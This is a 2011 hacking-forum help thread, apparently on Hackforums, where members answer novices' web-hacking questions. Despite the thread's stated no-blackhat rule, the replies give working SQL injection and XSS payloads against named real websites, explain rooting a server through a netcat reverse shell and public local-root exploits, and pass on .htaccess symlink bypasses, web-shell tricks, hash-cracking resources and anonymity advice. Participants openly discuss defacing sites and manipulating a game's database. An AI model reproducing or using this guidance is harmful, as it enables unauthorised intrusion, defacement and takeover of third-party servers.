Please read the OP. This is for Web Hacking related questions ONLY and blackhat discussion is not allowed. Keyloggers are purely blackhat in nature.

iEvolallday - October 22, 2011, 7:38 am

Oh, I do appoligize. Web-hacking != JDB? You need to set it up with a webhost, ect.

dumar - October 22, 2011, 7:39 am

(Oct 22, 2011 07:38 AM)iEvolallday Wrote: [\[CITE\]](#) Oh, I do appoligize. Web-hacking != JDB? You need to set it up with a webhost, ect.

Its something what you may do after hack website, not about hacking website xD

We help here with problems with vulnerabilities etc.

Not with spreading.

No?????? - October 22, 2011, 7:44 am

(Oct 22, 2011 07:38 AM)iEvolallday Wrote: [\[CITE\]](#) Oh, I do appoligize. Web-hacking != JDB? You need to set it up with a webhost, ect.

Just because something involves a website, it doesn't make it webhacking. Also, using JDB's for spreading is blackhat which is not allowed in this thread.

KoolKidsloveKoolAid - October 22, 2011, 1:59 pm

(Oct 21, 2011 11:27 PM)orunu Wrote: [\[CITE\]](#) if its a linux box why did u say it was windows?

I have a windows and a linux box I have a shell on.

Toph Beifong - October 22, 2011, 2:56 pm

hey, this isnt a vuln sie im having trouble with but i was wondering if you could help me by pointing me in the direction of a good Remote Command Execution tutorial

No?????? - October 22, 2011, 4:02 pm

(Oct 22, 2011 02:56 PM)p-teo Wrote: [\[CITE\]](#) hey, this isnt a vuln sie im having trouble with but i was wondering if you could help me by pointing me in the direction of a good Remote Command Execution tutorial

Remote command execution depends on the vulnerability.

Gebove - October 22, 2011, 4:12 pm

I don't know if this question has been asked, or if you will answer, but what VPN do most of you use?

-DMT- - October 22, 2011, 4:18 pm

Vulnerable Link:I would not like to display this

Question/Problem:I have into a databse an 'I have encripted passwords now Hax0r already helped me saying it was

Quote:MD5(phpBB3)

Example: \$H\$9123456785DAERgALpsri.D9z3ht120

Used in phpBB 3.x.x.

Length: 34 characters.

Description: The hash begins with the \$H\$ signature, then there goes one character (most often the number '9'), then there goes the salt (8 random characters; in our example the salt is the string "12345678"), followed by the actual hash.

Algorithm: Actually that is a loop calling the MD5 algorithm 2048 times.

But everytime I put it into a md5 decrptor it says its not md5...

I tried to do it with havij serveral of them but it never worked... allw aht iut gave me is all fields give me errors exsept for the first one called md5.rednoize.com it gave me this " e04c890611a59cd955f975d5bca007ba " this looks like a md5 hash but it does not decrypt right when you try and decryp it with md5?

please help I have a gigantic problem with this...

Natalie Portman - October 22, 2011, 7:13 pm

Hi, I was wondering if you guys could help me with something. How do you hack a site like this: <http://www.miraedwardsdesign.com.au/>

It isn't SQLi or XSS vulnerable, but people seem to get into sites like this anyway. I know this sounds skiddy but still, please help!

Thanks

KoolKidsloveKoolAid - October 22, 2011, 9:33 pm

New Question. Could one run a bitcoin miner on a rooted server?

EthicalPractice - October 22, 2011, 10:27 pm

(Oct 22, 2011 04:12 PM)Gebove Wrote: [\[CITE\]](#) I don't know if this question has been asked, or if you will answer, but what VPN do most of you use?

I personally use NVPN, however any of these VPS's listed here are good for general hacking - <http://torrentfreak.com/which-vpn-providers-really-take-anonymity-seriously-111007/>

Look at the anonymity discussions before using them/buying them

JoshEdyEdwards - October 23, 2011, 12:45 am

Hello Intercept,

I am new to hacking an I have a few questions for you.

What should a Footprint (Internet Reconissance) consist of?

Alot of hackers say you need to learn about oporating systems, what exactly do you need to know?

Can decryption be done without the aid of software?

Please PM me!.

Thanks

~X.x.X~ - October 23, 2011, 12:55 am

how to hack site that hv XPath injection Vulnerability

how to to get in xpath like did in sql injection.

Techie??? - October 23, 2011, 2:37 am

(Oct 20, 2011 07:58 AM)Razor4x 5_0 Wrote: [\[CITE\]](#) i've some techincal problem with metasploit update bcz when i type into the msfconsole svn update it's says svn: cannot open file 'external\source\DLLHijackAuditKit\svn\text-base\runcalc.dll.svn-base': impossible finding the current file. or when i run the msfupdate.bat the same thing if you can help me i appreciate it. some more inof about the situation: windows vista home premium sp1, antivirus kaspersky 2009 version of metasploit: 4.1.0-release.13988 framework

You need to clear your svn dir's old files if you are updating.

It is always recommended to run Metasploit on Linux.

And your error is because either your Antivirus or PC is blocking permissions.

Burnzy - October 23, 2011, 2:49 am

hey zeos it would be good if u put the names of intra members in op which are helping here.

Prominent - October 23, 2011, 4:33 am

(Oct 23, 2011 02:49 AM)-skynet190- Wrote: [\[CITE\]](#) hey zeos it would be good if u put the names of intra members in op which are helping here.

It's not longer Zelos, his name is now Intercept!

Burnzy - October 23, 2011, 8:38 am

same shit, diffrent packing... ?

HaxOr? - October 23, 2011, 2:20 pm

We wait for another questions...Feel free to post anything and expect answer soon!

cheatson - October 23, 2011, 2:52 pm

(Oct 23, 2011 02:20 PM)?? ? x O r ? Wrote: [\[CITE\]](#) We wait for another questions...Feel free to post anything and expect answer soon!

How did team Intra come about- who founded it, what is the story thus far?

HaxOr? - October 23, 2011, 2:57 pm

The real owner is hac

<https://hackforums.net/member.php?action=profile&uid=100689>

No?????? - October 23, 2011, 10:38 pm

(Oct 23, 2011 04:33 AM)Prominent Wrote: [\[CITE\]](#) It's not longer Zelos, his name is now Intercept! People can call me either, I don't mind. One is from Greek mythology, the other is a random verb. Not sure which I prefer.

(Oct 23, 2011 12:45 AM)JoshEdyEdwards Wrote: [\[CITE\]](#) Hello Intercept, I am new to hacking an I have a few questions for you.

What should a Footprint (Internet Reconnaissance) consist of?

Alot of hackers say you need to learn about oporating systems, what exactly do you need to know?

Can decryption be done without the aid of software?

Please PM me!.

Thanks

Has anyone PM'ed you yet mate? Just wondering.

HaxOr? - October 24, 2011, 11:13 am

We are still open and we are taking questions...As soon you post soon you will get the answer.

cheatson - October 24, 2011, 1:27 pm

(Oct 23, 2011 02:57 PM)?? ? x O r ? Wrote: [\[CITE\]](#) The real owner is hac

<https://hackforums.net/member.php?action=profile&uid=100689>

Not quite as thorough as I was expecting! but thanks for answering anyway

No?????? - October 25, 2011, 2:02 am

Pushing this thread up again, there is an ever flowing supply of questions and we are still willing to help.

??????? - October 25, 2011, 3:09 am

Linux cl-t003-111cl.privatedns.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64

User ID : uid=48(apache) gid=48(apache) groups=48(apache),2523(pasaserv)

i need this localroot

2.6.18-128 2009 thanks advance

dumar - October 25, 2011, 11:02 am

(Oct 25, 2011 03:09 AM)C.M.I.Y.C Wrote: [\[CITE\]](#) Linux cl-t003-111cl.privatedns.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64

User ID : uid=48(apache) gid=48(apache) groups=48(apache),2523(pasaserv)

i need this localroot

2.6.18-128 2009 thanks advance

Here you will find it:

<http://localroot.th3-Outl4ws.com/>

No?????? - October 25, 2011, 10:31 pm

(Oct 24, 2011 01:27 PM)cheatson Wrote: [\[CITE\]](#) Not quite as thorough as I was expecting! but thanks for answering anyway

What information do you want? It's a bit off-topic but I don't mind.

~X.x.X~ - October 26, 2011, 1:32 am

no answer about xpath injection?

also did not clear about finding admin page /i hv sites but admin pg dont hv.

akshayhaldipur - October 26, 2011, 2:01 am

Can anyone help me with just 1 doubt on backtrack 5- Sqlmap???? Anyone? Plz?

Available on PM too!

??????? - October 26, 2011, 2:21 am

(Oct 25, 2011 11:02 AM)dumar Wrote: [\[CITE\]](#) Here you will find it:

<http://localroot.th3-Outl4ws.com/>

i try all localroot here

<http://localroot.th3-Outl4ws.com/>

i dont find it

-zerocool - October 26, 2011, 2:27 am

vul-link:Spoiler [\[Click to View\]](http://onlinemoviesplanet.com/viewmovie.php?title=Banlieue)<http://onlinemoviesplanet.com/viewmovie.php?title=Banlieue> 13 (2010)

question: how can i find no of coulmsn?.I tried lot but still no luck.

Thanks!

elvinguitar - October 26, 2011, 3:43 am

just a noob question, please don't flame me.

uhhhhm.. I already knew SQL injection, through searching and reading. but i really want to master it. can you tell me what are the prerequisites needed for me to master it? consider also that i don't know any web programming languages.

thanks!

No?????? - October 26, 2011, 4:04 am

(Oct 26, 2011 03:43 AM)elvinguitar Wrote: [\[CITE\]](#) just a noob question, please don't flame me.

uhhhhm.. I already knew SQL injection, through searching and reading. but i really want to master it. can you tell me what are the prerequisites needed for me to master it? consider also that i don't know any web programming languages.

thanks!

If you want to truly master SQL Injection, you should learn as much as possible about SQL Queries and abstract functions.

(Oct 26, 2011 01:32 AM)~X.x.X~ Wrote: [\[CITE\]](#) no answer about xpath injection?

also did not clear about finding admin page /i hv sites but admin pg dont hv.

We gave you multiple answers about finding the admin page, read back in the thread.

About XPath injection, what's your specific problem?

(Oct 26, 2011 02:01 AM)akshayhaldipur Wrote: [\[CITE\]](#) Can anyone help me with just 1 doubt on backtrack 5- Sqlmap???? Anyone? Plz?

Available on PM too!

Please post your specific issue or we can't help. Also, we are using the thread, NOT PM.

(Oct 26, 2011 02:27 AM)d4rkn3ss Wrote: [\[CITE\]](#) vul-link:Spoiler [\(Click to View\)](#)
<http://onlinemoviesplanet.com/viewmovie.php?title=Banlieue> 13 (2010)

question: how can i find no of coulms?.I tried lot but still no luck.

Thanks!

It didn't seem vulnerable to SQLi from a quick scan, but it is vulnerable to XSS.

Code <http://onlinemoviesplanet.com/viewmovie.php?title=Banlieue> 13
(2010)</h2><script>alert(String.fromCharCode(88, 83, 83));</script>

-zerocool - October 26, 2011, 5:57 am

Yes I know its vulnerable to XSS.

Bdw Thanks bro.

smiegles - October 26, 2011, 7:21 am

are ther WordPress leaks i need to hack a WordPress site ;x

dumar - October 26, 2011, 7:55 am

(Oct 26, 2011 07:21 AM)smiegles Wrote: [\[CITE\]](#) are ther WordPress leaks i need to hack a WordPress site ;x

Check these sites for exploits:

<http://77.120.120.218/>
<http://www.exploit-db.com/>

<http://packetstormsecurity.org/files/tags/exploit/>

elvinguitar - October 26, 2011, 7:59 am

will this book be a good start for me?

<http://www.dummies.com/store/product/PHP-MySQL-Web-Development-All-in-One-Desk-Reference-For-Dummies.productCd-0470167777,navId-322468,descCd-tableOfContents.html>

Burnt - October 26, 2011, 8:58 am

Question/Problem: What VPN do you suggest? When do you start your VPN? From when your injecting or logging on in ACP? Do you take any other methods to prevent from leaving tracks?

dumar - October 26, 2011, 9:02 am

(Oct 26, 2011 07:59 AM)elvinguitar Wrote: [\[CITE\]](#) will this book be a good start for me?

<http://www.dummies.com/store/product/PHP-MySQL-Web-Development-All-in-One-Desk-Reference-For-Dummies.productCd-0470167777,navId-322468,descCd-tableOfContents.html>

Well, there are many materials available online for free.

I wouldn't suggest you buying any books.

Of course if you will find somewhere this book instead of buy and just want to show which one, then why not :>

elvinguitar - October 26, 2011, 9:14 am

(Oct 26, 2011 09:02 AM)dumar Wrote: [\[CITE\]](#) Well, there are many materials available online for free.

I wouldn't suggest you buying any books.

Of course if you will find somewhere this book instead of buy and just want to show which one, then why not :>

i forgot to tell you that i already found a free copy of this book. hehe. ? can you suggest what's the best book for beginners?

dumar - October 26, 2011, 9:19 am

(Oct 26, 2011 09:14 AM)elvinguitar Wrote: [\[CITE\]](#) i forgot to tell you that i already found a free copy of this book. hehe. ? can you suggest what's the best book for beginners?

If you want to learn php and sql then I dont know, probably smth like you showed.

If you want to learn various websites hacking methods, then tutorials here and all over the net.

elvinguitar - October 26, 2011, 9:25 am

(Oct 26, 2011 09:19 AM)dumar Wrote: [\[CITE\]](#) If you want to learn php and sql then I dont know, probably smth like you showed.

If you want to learn various websites hacking methods, then tutorials here and all over the net.

i think i need to learn first php and sql so i can really understand what's happening behind the hacking methods. i already know SQLi but i don't know what's really happening so i guess i need to learn SQL.

Cyba - October 26, 2011, 9:26 am

Vulnerable Link: www.bomberportal.com

Question/Problem: i really wanne deface it but i can't cause it's not vulnerable.

elvinguitar - October 26, 2011, 9:29 am

(Oct 26, 2011 09:26 AM)Cyba Wrote: [\[CITE\]](#) Vulnerable Link: www.bomberportal.com

Question/Problem: i really wanne deface it but i can't cause it's not vulnerable.

You've posted a "vulnerable" link, and then you're telling that "it's not vulnerable". ????

dumar - October 26, 2011, 9:38 am

(Oct 26, 2011 09:26 AM)Cyba Wrote: [\[CITE\]](#) Vulnerable Link: www.bomberportal.com
Question/Problem: i really wanne deface it but i can't cause it's not vulnerable.
Lol... we will not deface anything for anybody.
We might help if someone have problem with using vulnerability,
but we are not hacking volunteers, who will hack website which random person want...

Cyba - October 26, 2011, 9:39 am

(Oct 26, 2011 09:29 AM)elvinguitar Wrote: [\[CITE\]](#) You've posted a "vulnerable" link, and then you're telling that "it's not vulnerable". ????

Yes, i know it sounds crazy as it this but i really wane know is their no way to deface it, without any rat or keylogger.

(Oct 26, 2011 09:38 AM)dumar Wrote: [\[CITE\]](#) Lol... we will not deface anything for anybody.
We might help if someone have problem with using vulnerability,
but we are not hacking volunteers, who will hack website which random person want...
Lol back, i didn't say deface it for me, i said i wane learn how to do it.

dumar - October 26, 2011, 9:40 am

(Oct 26, 2011 09:39 AM)Cyba Wrote: [\[CITE\]](#) Yes, i know it sounds crazy as it this but i really wane know is their no way to deface it, without any rat or keylogger.

Lol back, i didn't say deface it for me, i said i wane learn how to do it.
Read rules in first post :S

Spoiler [\(Click to View\)](#)Rules: Strictly no full blackhat stuff or specific website hack requests

Cyba - October 26, 2011, 9:41 am

(Oct 26, 2011 09:40 AM)dumar Wrote: [\[CITE\]](#) Read rules at first post :S

Spoiler [\(Click to View\)](#)Rules: Strictly no full blackhat stuff or specific website hack requests
Hmm ok than thanks for the help anyway ?

Burnt - October 26, 2011, 12:53 pm

Answer my question on Page 12?
About the VPN's

-DMT- - October 26, 2011, 1:15 pm

I asked a question but it was neevr answered... Any body know a good database for these md5 phpbb (examples Spoiler [\(Click to View\)](#) \$H\$7eofU6lwXgGGYGhNqL2IMG1OKGPAoj/\$H\$7IDBnbHUmga2GAH0ChlQT4wa.JOM/91 \$H\$7hU8PfqrQaxfPIDJVq7QOoHhpiv8aF1 \$H\$7RkxI.QwWBem9aD0mwOiDTzu/C6DhE0 \$H\$7aoW.iVO2.KCBsGOhxrZHMpaspdcQI.)
encryptptions to encrypt these kind of hashes? or a decryptor. I knwo it cant be decrypted and it has to be bruteforced but is there any database which has already words lists which were encrypted with this and are ready to be used by any users. I have used google and search but haven't found anything yet ...

Mx. - October 26, 2011, 3:12 pm

(Oct 26, 2011 01:15 PM)Dream Illusion Wrote: [\[CITE\]](#) I asked a question but it was neevr answered...
Any body know a good database for these md5 phpbb (examples Spoiler [\(Click to View\)](#)

\$H\$7eofU6lwXgGGYGhNqL2IMG1OKGPAoj/
\$H\$7IDBnbHUmga2GAH0ChlQT4wa.JOM/91
\$H\$7hU8PfqrQaxfPIDJVq7QOoHhpiv8aF1
\$H\$7RkxI.QwWBem9aD0mwOiDTzu/C6DhE0
\$H\$7aoW.iVO2.KCBsGOhxrZHMpaspcQL.)

encryptions to encrypt these kind of hashes? or a decryptor. I know it can't be decrypted and it has to be brute forced but is there any database which has already words lists which were encrypted with this and are ready to be used by any users. I have used google and search but haven't found anything yet ...

<http://forum.insidepro.com/index.php>

Post them there.

No?????? - October 26, 2011, 10:48 pm

(Oct 26, 2011 12:53 PM)Burnt Wrote: [\[CITE\]](#) Answer my question on Page 12?

About the VPN's

Any VPN that is unknown and offshore should suffice, however, no VPN or proxy provides absolute anonymity, EVER.

~X.x.X~ - October 26, 2011, 11:40 pm

pls tell me how to root a server i never try.

i see a tut thr but when u root a server did u get cpanel use and password.

netcat or putty

No?????? - October 26, 2011, 11:43 pm

(Oct 26, 2011 11:40 PM)~X.x.X~ Wrote: [\[CITE\]](#) pls tell me how to root a server i never try.

i see a tut thr but when u root a server did u get cpanel use and password.

netcat or putty

Basically setup a reverse connection handler with netcat, then use a script to make the server reverse connect to you and drop into a shell. After that, find the kernel version information and search for a public local root exploit. There are other ways depending on how badly the server is configured, but that's the basic process.

aamirlehri - October 27, 2011, 12:27 am

HEy I want to know that how to hack a webs .com site ???

No?????? - October 27, 2011, 1:31 am

(Oct 27, 2011 12:27 AM)aamirlehri Wrote: [\[CITE\]](#) HEy I want to know that how to hack a webs .com site ???

Use the vulnerabilities in this thread and don't ever PM me again.

<https://hackforums.net/showthread.php?tid=1803172>

PongViking - October 27, 2011, 4:33 am

Hey, I have one noobish question...

When I find vulnerable link and I find all tables from the site with Havij, and when there is nothing similar to Admin table with username and password, does that mean that I have to do something like LIMIT 1,1-- or that site is not vulnerable???

Mx. - October 27, 2011, 4:59 am

(Oct 27, 2011 04:33 AM)jameshacker Wrote: [\[CITE\]](#) Hey, I have one noobish question...

When I find vulnerable link and I find all tables from the site with Havij, and when there is nothing similar to Admin table with username and password, does that mean that I have to do something like LIMIT 1,1-- or that site is not vulnerable???

1. dont use havij learn it manually so you understand what kind of question your actually asking.
2. as for admin, sometimes they are hidden in other table names search around.

PongViking - October 28, 2011, 10:27 am

I know how to do it manually also, but is it much faster with Havij...

But, is there any way to find hidden tables with BT5 becuae I use it?

R4sleX - October 28, 2011, 11:29 am

I got a noob question.. how do i decrypt encrypted passwords in sql database?..

Im doing this fully legally on wamp server..

My friend said i couldn hack his site.. d:... i have the username but the password is decrypted?.. dont have a clue if it's md5 or?..

Mx. - October 28, 2011, 11:51 am

if you dont post the password encrypted itself, we cant say what kind of encryption it is either you einsteinicus lol.

ajjt - October 28, 2011, 12:24 pm

Do you recommend using VNP or proxy while you are checking for XSS vulnerabilities in a site or sql.

can you get in trouble if you check a site for XSS vulnerabilities

No?????? - October 29, 2011, 3:41 pm

(Oct 28, 2011 12:24 PM)ajjt Wrote: [\[CITE\]](#) Do you recommend using VNP or proxy while you are checking for XSS vulnerabilities in a site or sql.

can you get in trouble if you check a site for XSS vulnerabilities

It would really depend on your countries laws but yes, I would suggest some sort of protection.

ajjt - October 30, 2011, 4:11 am

(Oct 29, 2011 03:41 PM)Intercept Wrote: [\[CITE\]](#) It would really depend on your countries laws but yes, I would suggest some sort of protection.

What do you recommend then.

Need to be free.

manusajith - October 30, 2011, 4:24 am

can you tell me how i can root a server via c100 shell script

safemode is off

gcc not working

kernal version : 2.6.18-194.26.1.el5.028stab079.2

elvinguitar - October 31, 2011, 3:38 am

noob question

do you really need to know a programming language for you to become a pro in web hacking such as SQL? If yes, then what language do i need to study?

thanks!

No?????? - October 31, 2011, 3:57 am

(Oct 31, 2011 03:38 AM)elvinguitar Wrote: [\[CITE\]](#) *noob question*

do you really need to know a programming language for you to become a pro in web hacking such as SQL? If yes, then what language do i need to study?

thanks!

SQL is used with many different programming languages. If you wish to automate SQLi attacks with a script, I suggest Python, Perl or Ruby.

elvinguitar - October 31, 2011, 4:30 am

(Oct 31, 2011 03:57 AM)Intercept Wrote: [\[CITE\]](#) SQL is used with many different programming languages. If you wish to automate SQLi attacks with a script, I suggest Python, Perl or Ruby. so what do i need to learn? SQL, Python, Perl or Ruby?

No?????? - October 31, 2011, 4:46 am

(Oct 31, 2011 04:30 AM)elvinguitar Wrote: [\[CITE\]](#) so what do i need to learn? SQL, Python, Perl or Ruby?

Well, what is your goal? Web development or exploit development?

elvinguitar - October 31, 2011, 4:49 am

(Oct 31, 2011 04:46 AM)Intercept Wrote: [\[CITE\]](#) Well, what is your goal? Web development or exploit development?exploit development. i'm trying to study PHP and MySQL. but what i really want is to master SQL Injection and other web hacking techniques.

Alienguy - October 31, 2011, 5:21 am

1. What is better ProXPN or [censored] (free) ?
2. Do you guys use any scanner for pen testing , if so then what scanner ? and if not then how you do it manually ?
3. Is there is any other way than xss , sqli , lfi , rfi to hack websites ? If so then what other ways ?

HaxOr? - October 31, 2011, 5:29 am

- (Oct 31, 2011 05:21 AM)Alienguy Wrote: [\[CITE\]](#)
1. What is better ProXPN or [censored] (free) ?
 2. Do you guys use any scanner for pen testing , if so then what scanner ? and if not then how you do it manually ?
 3. Is there is any other way than xss , sqli , lfi , rfi to hack websites ? If so then what other ways ?
 - 1) proXPN is owned by feds so [censored] but premium one.
 - 2) Manually
 - 3) Blackhat (Not giving answer) Use google for that one.

Alienguy - October 31, 2011, 6:27 am

- (Oct 31, 2011 05:29 AM)?? ? x O r ? Wrote: [\[CITE\]](#)
- 1) proXPN is owned by feds so [censored] but premium one.
 - 2) Manually
 - 3) Blackhat (Not giving answer) Use google for that one.
1. Hmmm , any free one that doesn't keep logs (I'm under 18 , so can't pay)?
2. How ? any good tut ?
 3. Whats blackhat in it ? I'm just asking for ways .

HaxOr? - October 31, 2011, 6:30 am

- 1) I think every VPN keep logs.
- 2) Just check for any exploit (ex. If it's a forum check out the version and look for the exploits if it's a ordinary site then check for XSS,SQLi etc..)
- 3) We don't help with website hacking..

Alienguy - October 31, 2011, 6:33 am

- (Oct 31, 2011 06:30 AM)?? ? x O r ? Wrote: [\[CITE\]](#) 1) I think every VPN keep logs.
- 2) Just check for any exploit (ex. If it's a forum check out the version and look for the exploits if it's a ordinary site then check for XSS,SQLi etc..)
 - 3) We don't help with website hacking..OK .
- thanks a lot for helping me .

No??????? - October 31, 2011, 1:40 pm

(Oct 31, 2011 04:49 AM)elvinguitar Wrote: [\[CITE\]](#) exploit development. i'm trying to study PHP and MySQL. but what i really want is to master SQL Injection and other web hacking techniques.
The best languages for writing web application exploits are probably the three I listed above.

thenhowasphone - October 31, 2011, 1:59 pm

how do I hack a computer and make their cpu explode?

[img]http://www.geeksaresexy.net/wp-content/uploads/2008/05/computer_bomb.jpg[/img]

Sports. - October 31, 2011, 2:04 pm

I didn't see this thread before I posted this: <https://hackforums.net/showthread.php?tid=1875647>

could you help me from there?

Le Flou - October 31, 2011, 2:11 pm

(Oct 31, 2011 02:04 PM)sp0rts Wrote: [\[CITE\]](#) I didn't see this thread before I posted this:
<https://hackforums.net/showthread.php?tid=1875647>

could you help me from there?Code
[http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version\(\),4,5,6,7,8,9,10--+](http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version(),4,5,6,7,8,9,10--+)
?

Sports. - October 31, 2011, 2:20 pm

(Oct 31, 2011 02:11 PM)Le Flou Wrote: [\[CITE\]](#) Code
[http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version\(\),4,5,6,7,8,9,10--+](http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version(),4,5,6,7,8,9,10--+)
?

What did I do wrong before? I am following this:(
<https://hackforums.net/showthread.php?tid=237359&highlight=sql+tutorial>)

tutorial.

Le Flou - October 31, 2011, 2:35 pm

[http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version\(\),4,5,6,7,8,9,10--+](http://celdac.org/celdac/storydetail.php?id=-19+union+all+select+1,2,version(),4,5,6,7,8,9,10--+)

maybe that

elvinguitar - October 31, 2011, 3:15 pm

(Oct 31, 2011 01:40 PM) Intercept Wrote: [\[CITE\]](#) The best languages for writing web application exploits are probably the three I listed above.

thanks mate! :) i'll try studying those.
i wish i have time

Sports. - October 31, 2011, 6:34 pm

Why do I fail at this :(I am trying to figure out which column to inject and I am still getting the same message. I am entering <http://celdac.org/celdac/storydetail.php?id=-19union> all select

1,2,3,4,5,6,7,8,9,10--

and the error still is Quote:Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\inetpub\vhosts\celdac.org\httpdocs\celdac\storydetail.php on line 15

Emily - October 31, 2011, 7:19 pm

I have a question for you and your team. Do you think it's right that team havok is taking their anger out on Australian sites because other people are being aggressive?

No??????? - October 31, 2011, 10:41 pm

(Oct 31, 2011 07:19 PM) Emily Wrote: [\[CITE\]](#) I have a question for you and your team. Do you think it's right that team havok is taking their anger out on Australian sites because other people are being aggressive?

Ok, first of all, this thread was mainly made for us to help members with questions regarding web hacking, so please take any further discussion on these kinds of topics to PM. What I will say is I can see where Havok is coming from and I agree with the idea, but the way they are going about it is against my morals. The hacking of innocent Australian websites unrelated to the issue at hand is wrong in my opinion. I'm at neutral with them at the moment due to these attacks.

(Oct 31, 2011 06:34 PM) sp0rts Wrote: [\[CITE\]](#) Why do I fail at this :(I am trying to figure out which column to inject and I am still getting the same message. I am entering <http://celdac.org/celdac/storydetail.php?id=-19union> all select 1,2,3,4,5,6,7,8,9,10--

and the error still is

Sorry mate, but as stated in the thread rules (see OP) we DO NOT help with attacks on specific websites.

No??????? - November 5, 2011, 8:55 pm

B-umping this thread up again. We are still taking questions and offering help.

EthicalPractice - November 5, 2011, 9:05 pm

(Oct 31, 2011 07:19 PM) Emily Wrote: [\[CITE\]](#) I have a question for you and your team. Do you think it's right that team havok is taking their anger out on Australian sites because other people are being aggressive?

Personally mate, I think its terrible. I live in the United States but have relatives living in Australia. They dont deserve that type of treatment what so ever, but Team Hav0k has no right to hack random government sites belonging to Australia as its just going to make it more painful for the citizens.

No??????? - November 5, 2011, 11:39 pm

(Nov 5, 2011 09:05 PM) EthicalPractice Wrote: [\[CITE\]](#) Personally mate, I think its terrible. I live in the United States but have relatives living in Australia. They dont deserve that type of treatment what so ever, but Team Hav0k has no right to hack random government sites belonging to Australia as its just going to make it more painful for the citizens.

What part of the states you in bro? PM me... ?

n31ght0 - November 6, 2011, 2:44 am

Hi intra team :)

i have a question

how to bypassing 403 forbidden symlink ??

Thanks in advance ?

Shad0wzz - November 7, 2011, 12:10 pm

Hey Intra,

You ppl avail for some work? :) Looking to aquire some information

Mx. - November 7, 2011, 12:21 pm

We dont work for \$, sorry there, and you got just 10 posts doesnt seem that trustfull either ;-)

dumar - November 7, 2011, 1:18 pm

(Nov 6, 2011 03:44 AM)n31ght0 Wrote: [\[CITE\]](#) Hi intra team :)

i have a question

how to bypassing 403 forbidden symlink ??

Thanks in advance ?

Try with .htaccess file

Code Options Indexes FollowSymLinks

DirectoryIndex ss.htm

AddType txt .php

AddHandler txt .php

Andz6 - November 7, 2011, 1:55 pm

I am relatively new to hacking and penetration testing. I have read a lot of SQL tutorials and am beginnning to know SQL inside out, but if on my own website I was to penetration test, I would not be able to get passed any of my security through SQL, XSS, RFI or LFI. I want to know the main method used in hacking, that can be used in almost all situations in order to patch my website against any possible threats. Are you able to tell me a different method of hacking websites please?

NSFW - November 7, 2011, 2:29 pm

Vulnerable Link:

Question/Problem:Can any site be hacked or just sql venerable ?

Oxy - November 7, 2011, 2:32 pm

I have this database i know pretty good.

i have to pentest it is vuln to sqli.

i do not get error messages it only redirects when false or true.

so that makes it blind XD

i get far.

but its not the passwords i need to get.

its change setting in the site because its a game.

so i mean like gething milioens of game money using that sqli link.

lets asume

i want to change my name.

this is fast put together but its to give you an idea.

shoutbox.php?p=shoutbox&id=13541+##MySql_QuErY#(#UpDaTe+users+SeT+username=heat+WhErE+username=heatcontroll#)#

Mx. - November 7, 2011, 2:56 pm

(Nov 7, 2011 02:55 PM)Andz6 Wrote: [\[CITE\]](#) I am relatively new to hacking and penetration testing. I have read a lot of SQL tutorials and am beginnning to know SQL inside out, but if on my own website I was to penetration test, I would not be able to get passed any of my security through SQL, XSS, RFI or LFI. I want to know the main method used in hacking, that can be used in almost all situations in order to patch my website against any possible threats. Are you able to tell me a different method of hacking websites please?

XSS isn't really much to hack with.

i would say SQLi is the most used to hack with these days.

(Nov 7, 2011 03:29 PM)freddie.e Wrote: [\[CITE\]](#) Vulnerable Link:

Question/Problem:Can any site be hacked or just sql venerable ?

Not every website is vurnable, and if it is vurnable you never know exactly to what kind of vurnability its vurnable to (CSRF, Xpath, RFI, SQLi, XSS etc).

(Nov 7, 2011 03:32 PM)HeatControll Wrote: [\[CITE\]](#) I have this database i know pretty good.

i have to pentest it is vuln to sqli.

i do not get error messages it only redirects when false or true.

so that makes it blind XD

i get far.

but its not the passwords i need to get.

its change setting in the site because its a game.

so i mean like gething milioens of game money using that sqli link.

lets asume

i want to change my name.

this is fast put together but its to give you an idea.

shoutbox.php?p=shoutbox&id=13541+##MySql_QuErY#(#UpDaTe+users+SeT+username=heat+WhErE+username=heatcontroll#)#

Unless its root user(the owner of the hosting) your injecting on, you won't be able to update any information in the database trough an injection, you will need to upload a shell and do it trough there.

Oxy - November 7, 2011, 3:01 pm

Thank you HAXOR and MX.

got it now.

ill try it using a shell then haha :D

kamz89 - November 7, 2011, 5:45 pm

Vulnerable Link:

Question/Problem:I would like to know if this site is vulnerable or not and can i please get the vulnerable link of <http://evocraft.net/>. By the way any recommended scanners for scanning for vulnerability of a specific site would be appreciate.

Thanks a lot in Advance

No?????? - November 7, 2011, 9:36 pm

(Nov 7, 2011 06:45 PM)Kamz89 Wrote: [\[CITE\]](#) Vulnerable Link:

Question/Problem:I would like to know if this site is vulnerable or not and can i please get the vulnerable link of <http://evocraft.net/>. By the way any recommended scanners for scanning for vulnerability of a specific site would be appreciate.

Thanks a lot in Advance

I'm sorry but as stated in the the thread rules, we do not hack specific sites.

Sato - November 7, 2011, 11:43 pm

Vulnerable Link:

Question/Problem: Are there any other functions similar to Symlink that allow you to move directories? I only know of two others but maybe there are more.

Mx. - November 8, 2011, 2:22 am

(Nov 8, 2011 12:43 AM)Sato Wrote: [\[CITE\]](#) Vulnerable Link:

Question/Problem: Are there any other functions similar to Symlink that allow you to move directories? I only know of two others but maybe there are more.

Well you can also try using the ip from the server
then get the username where you uploaded a shell
and do like this:

<http://127.0.0.1/~Mx/shell.php>

that bypasses most of the user bound systems. then you can just browse to other people's stuff :).

Moody_KSA - November 8, 2011, 7:19 am

hey guys, i managed to upload shell and upload my deface page, but the problem is when i try to execute commands from netcat after i back-connect to it, it gives me

"sh: ls: command not found"

the server is probably blocking the user from executing any commands (even from the shell)
how do i bypass this?

n31ght0 - November 8, 2011, 10:24 am

(Nov 7, 2011 02:18 PM)dumar Wrote: [\[CITE\]](#) Try with .htaccess file

Code Options Indexes FollowSymLinks

DirectoryIndex ss.htm

AddType txt .php

AddHandler txt .php

already do that but still didnt work. some guys on HF can bypass it but when i pming he dont tell me how to do. they just ask for my shell and then go away ???

i want to know how they do bypassing forbidden symlink. i follow tut in hf on how to bypassing it with .htaccess and ln -s / root

